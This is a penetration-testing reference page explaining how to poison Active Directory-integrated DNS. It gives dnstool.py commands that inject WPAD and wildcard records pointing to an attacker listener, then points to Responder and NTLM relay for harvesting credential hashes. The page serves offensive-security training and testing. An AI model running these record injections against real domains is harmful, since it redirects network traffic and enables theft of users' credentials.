# ADIDNS Poisoning and Hijacking

> Exploit Active Directory DNS zones by injecting wildcard records and hijacking ADIDNS to redirect traffic or capture credentials in AD environments.

- **URL:** https://hackindex.io/services/dns/exploitation/adidns-poisoning-and-hijacking
- **Path:** DNS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/dns/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-14

By default, Active Directory Integrated DNS (ADIDNS) allows any authenticated domain user to create new DNS records if the node does not already exist. This can be exploited to resolve non-existent hostnames to an attacker-controlled machine, enabling traffic interception and NTLM credential relaying.

- **WPAD record injection** create a wpad A record pointing to your listener, forcing domain clients to fetch a malicious proxy config.
- **Wildcard record injection** register a * record to catch all unresolved hostnames and route misspelled names to your machine.
- **dnstool.py (krbrelayx)** the primary tool for adding, modifying, and deleting ADIDNS records with domain credentials.
- **Credential capture** pair injected records with Responder or an SMB relay listener to collect NTLMv2 hashes.

## Injecting a WPAD Record

The Web Proxy Auto-Discovery (WPAD) protocol is heavily relied upon by Windows clients. If a `wpad` record does not exist in the AD zone, you can inject one. This forces domain machines to fetch a malicious proxy configuration file from your attacking machine.

Use `dnstool.py` from the `krbrelayx` suite to inject the record using compromised domain credentials.

```bash
python3 dnstool.py -u $USER -p $PASSWORD -r wpad -a add -t A -d $LHOST $TARGET_IP
```

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

## Verifying the Injection

Ensure the target DNS server now resolves the injected hostname to your listener IP.

```bash
dig @$TARGET_IP wpad.$DOMAIN A +short
# 192.168.1.50
```

Start an interception tool like Responder or an HTTP listener on `$LHOST` to serve the malicious proxy configuration and capture incoming NTLM hashes.

## Injecting a Wildcard Record

If specific records like WPAD already exist and cannot be overwritten, you can inject a wildcard record (`*`). This catches any query for a hostname that does not explicitly exist in the domain, routing misspelled internal domain names directly to you.

```bash
python3 dnstool.py -u $USER -p $PASSWORD -r "*" -a add -t A -d $LHOST $TARGET_IP
```

Once the wildcard is established, start an SMB relay or authentication capture tool on `$LHOST` to process the misdirected traffic. For relay execution, see [SMB NTLM Relay](https://hackindex.io/services/smb/exploitation/ntlm-relay). For WPAD traffic capture and NTLM hash collection via poisoned records, see [WPAD DNS Credential Capture with Responder](https://hackindex.io/services/dns/exploitation/wpad-dns-credential-capture-with-responder). Captured hashes can be relayed via [AD NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay).

## References

- [krbrelayx Toolkit (dnstool.py)](https://github.com/dirkjanm/krbrelayx)